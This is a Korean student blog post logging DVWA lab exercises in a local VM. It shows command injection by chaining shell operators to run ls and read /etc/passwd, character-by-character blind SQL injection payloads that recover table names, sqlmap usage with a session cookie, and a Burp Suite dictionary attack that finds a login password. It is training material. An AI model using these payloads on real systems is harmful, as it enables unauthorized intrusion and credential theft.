[Shielders] Rookies-11

Dong Jung·2022년 9월 13일
0

Rookies

목록 보기
12/24
post-thumbnail

2022.09.13

웹해킹.06

모의 해킹 실습
1.Command Injection
2.Blind SQL Injection
3.Brute Force Attack
4.후기

실습환경
가상머신 : vmware Workstation 16 Player
운영체제 : Ubuntu-20.04.2.0
Memory : 2 GB
Processors : 2
Hard Disk : 20 GB
Network : NAT
가상머신 : vmware Workstation 16 Player
운영체제 : kali-linux-2022
Memory : 2 GB
Processors : 4
Hard Disk : 80 GB
Network : NAT

1.Command Injection

  • 리눅스 명령어를 실행시키는 것이 목적
    (pwd, ls, ls -al, who, cat /etc/passwd 등등)
  • IoT기기들에서 주로 많이 발생한다

  • 현재 페이지는 Ping을 실행하는것이 목적인 사이트이다. 현재 게이트웨이 192.168.5.2에 제대로 통신이 되는게 확인된다.

1) Low

  • && 기호를 포함하여 리눅스 명령어를 추가하니 해당 명령어에 대한 내용이 출력되는것을 확인할 수 있다

&&는 앞명령이 실행되면 뒷명령을 실행하는 리눅스 다중 명령어이다.

;(세미콜론)을 이용해서도 명령어 출력이 가능한데 세미콜론의 경우는 앞명령의 성공여부와 상관없이 뒷명령이 출력된다.

2) Medium

Medium 소스코드 확인시 &&, ;을 블랙리스트로 막아논것을 확인할 수 있다.

리눅스에는 더블 버티컬바(||)가 있는데 앞 명령 성공되지 않을시 뒷 명령을 실행하는 다중명령어이다. 해당 다중명령어를 사용하여 ls 명령어를 실행하였다.

리눅스 |(파이프)를 사용하면 앞이 조건, 뒤는 명령문이 들어가게된다
Ping 명령과 같은 경우에는 뒤에 명령어에 영향을 주지 않기 때문에 출력이된다.

2.Blind SQL Injection

이전에 한번 소개했던 Blind SQL Injection 실습이다.

Blind SQL이란 DB구조에 대해서 잘 모르는 상태에서 DB명, Table명, colum명 등을 알아내려고 시도하는 것이다.
1) DVWA 실습

1~9까지 User ID에 삽입하였을때 밑에와 같은 DB에 존재한다는 메시지가뜬다.

1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1),1,1) = 'a'#

-> 첫번째 글자는 d임
-> 두번째 글자는 v
-> 세번째 글자는 w
-> 네번째 글자는 a

1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 0,1),1,1) = 'g'#
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 0,1),2,1) = 'u'#
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 0,1),3,1) = 'e'#
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 0,1),4,1) = 's'#
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 0,1),5,1) = 't'#
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 0,1),6,1) = 'b'#
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 0,1),7,1) = 'o'#
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 0,1),8,1) = 'o'#
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 0,1),9,1) = 'k'#
= guestbook


1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 1,1),1,1) = 'u'#
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 1,1),2,1) = 's'#
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 1,1),3,1) = 'e'#
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 1,1),4,1) = 'r'#
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 1,1),5,1) = 's'#

= users

쿼리 문을 하나씩 날려 확인하였다.

아무래도 글자하나하나 공격하여 알아내는 방법에는 시간적인 어려움이 있기때문에 자동화 툴을 사용해보았다.

2) 칼리 리눅스에서 자동화된 툴을 이용하여 디비구조를 알아보는 실습

칼리 리눅스의 SQLmap을 통해 실습해본다.

sudo sqlmap -h // -h는 help
-u : url을 사용할 때
--cookie : cookie값을 입력할 때
--tables : 테이블 목록을 알고 싶을때
--columns : 컬럼 목록을 알고 싶을때
--dump : 메모리에서 값을 확인 할 때

-D DB명
-T Table명
-C 컬럼명

SQLmap 문법 : sqlmap -u "URL" --cookie " "


URL은 주소표시줄에서 복사
dvwa의 sql injection(blind)에서 주소표시줄에 있는 URL을 복사
: http://192.168.5.128/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#

쿠키값
javascript:document.cookie : security=low; PHPSESSID=vf5441uq3275ds8a4fndajdah9
해당 값들을 적용하여 실습을하였다.


DB이름 출력


테이블 조회


컬럼 조회


user 및 password 컬럼 출력 해쉬값들이 모두 복호화되어 출력되는 것을 확인 할 수 있다

3.Brute Force Attack

전수 대입법 : 가능한 모든 경우의 수를 대입한다는 의미
장점 : 언젠가는 결과가 나오기는 함(성공확률 99%)
단점 : 시간이 너무 오래걸림
대응방법 : 시간이 완전히 오래걸리게 하면됨( 예를 들어, 인간의 수명보다 길면 못깨는 것)
길고 복잡하게 만듬 ( 비밀번호 14자리, 대/소/숫/특문 섞자)

  • Dictionary Attack

Brute Force Attack이 시간이 많이 걸리기 때문에 자주 사용하는 패스워드를 대입하는 방법
자주 사용하는 단어를 모아놓은 파일을 Dictionary라고 함

https://www.security.org/how-secure-is-my-password/


해당 사이트에 접속하면 비밀번호를 알아내는데 시간을 알아낼수있다.
자리 하나만 추가당 엄청난 시간이 증가하기때문에 자리수를 길게 해야되는걸 확인할 수 있다.
평소에 비밀번호 만들때 자리수를 좀 충분히 늘려서 하는편이 좋아보인다.


실습페이지에서 pablo로 접속을 실패하였다.

burp suite에서 로그인시도했던 요청 내용을 확인할 수 있었다.

clear 후에 password 부분만 add하였다.

페이로드 부분에 password를 모아놓은 파일을 추가하였다.

패스워드 대조중


패스워드 길이가 다르기때문에 letmein이 비밀번호인걸 확인할 수 있다.


실제 접속까지 확인되었고 실습이 종료되었다.

4.실습 후기

오늘은 Command Injection, Blind SQL Injection, Brute Force Attack 3가지 공격에관한 실습을 하였다.
SQL문을 하나하나 삽입해보면서 문제 풀어보고, Kali Linux에서 SQLmap이란 툴을 사용하여 해킹 실습, Burp suite로 Brute Force Attack을 실습해보면서 실제 공격이 어떻게 진행되는지에 대해 알 수 있어 뜻깊은 시간이였던거같다.

profile
보안새내기

0개의 댓글